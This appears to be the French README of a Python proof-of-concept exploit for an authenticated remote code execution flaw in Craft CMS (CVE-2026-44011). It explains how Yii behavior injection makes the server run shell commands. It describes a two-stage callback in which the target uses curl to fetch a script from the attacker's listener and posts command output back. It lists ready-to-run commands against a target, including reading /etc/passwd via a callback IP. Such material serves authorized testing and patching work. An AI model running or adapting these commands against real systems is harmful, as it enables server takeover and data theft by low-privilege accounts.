
Preuve de concept en Python pour CVE-2026-44011, une RCE authentifiée dans Craft CMS via l'injection de comportement Yii, avec capture de sortie de commande en deux étapes.
RCE authentifiée dans Craft CMS via l'injection de comportement Yii.
Affecté : 4.0.0–4.17.11, 5.0.0–5.9.17
Corrigé dans : 4.17.12, 5.9.18
Avis : GHSA-qrgm-p9w5-rrfw
Le point de terminaison /admin/actions/element-search/search accepte un paramètre condition qui est transmis directement à ElementCondition::createCondition() sans que Component::cleanseConfig() ne soit appelé au préalable. Cela signifie que les clés spéciales de construction d'objets de Yii — __class, as <name> (attacher un comportement), on <event> (enregistrer un gestionnaire) — prennent effet lorsque l'objet FieldLayout est construit à partir des données de la requête.
L'exploit attache AttributeTypecastBehavior configuré pour appeler Psy\Readline\Hoa\ConsoleProcessus::execute() (un interne PSY/Yii qui exécute des commandes shell) comme callable de transtypage. Le comportement se déclenche sur l'événement beforeSave, que Craft déclenche au cours de la même requête.
N'importe quel compte — même un éditeur à faibles privilèges — peut le faire. Aucun droit d'administrateur n'est nécessaire.
Plutôt qu'un reverse shell aveugle, il utilise une capture de sortie en deux étapes :
curl qui récupère un script shell depuis un écouteur HTTP local que vous contrôlezVous obtenez la sortie de la commande directement dans le terminal, aucun écouteur nc n'est nécessaire.
requests (pip install requests)# Basique — exécuter id sur la cible
python3 exploit.py \
-b http://target.com \
-u [email protected] \
-p 'password123' \
-c 'id'
# Chemin personnalisé du panneau de contrôle
python3 exploit.py -b http://target.com -P /craftcms -u admin -p pass -c 'whoami'
# Spécifier votre adresse de callback lorsqu'elle ne peut pas être déduite
python3 exploit.py -b http://target.com -u admin -p pass -c 'cat /etc/passwd' \
-H 10.10.14.5 --listen-port 8080
# Ignorer la vérification TLS (certificats auto-signés)
python3 exploit.py -b https://target.com -u admin -p pass -c 'id' --no-verify
# Ignorer la vérification de version (par ex. échec de la détection de version)
python3 exploit.py -b http://target.com -u admin -p pass -c 'id' --force
L'hôte/port de callback est l'endroit où la cible renvoie la sortie par POST vers vous. Par défaut, l'hôte est déduit de votre route vers la cible et le port est attribué par l'OS. Si la cible est derrière un NAT ou un VPN, vous aurez besoin de --callback-host pointant vers votre IP joignable.
-b / --base-url Origine de la cible (requis)
-P / --cp-path Chemin du panneau de contrôle (défaut : /admin)
-u / --username Nom de connexion ou email (requis)
-p / --password Mot de passe (requis)
-c / --command Commande shell à exécuter (requis)
-s / --site-id ID du site Craft (défaut : 1)
-e / --element-type Type d'élément pour la condition (défaut : craft\elements\Category)
-t / --timeout Délai d'expiration de la requête en secondes (défaut : 15)
-H / --callback-host Votre adresse joignable pour les callbacks de sortie
--listen-port Port pour l'écouteur de sortie (défaut : l'OS en choisit un)
--no-verify Ignorer la vérification du certificat TLS
-F / --force Ignorer la vérification de la plage de versions
Pour les tests de sécurité et la recherche autorisés uniquement.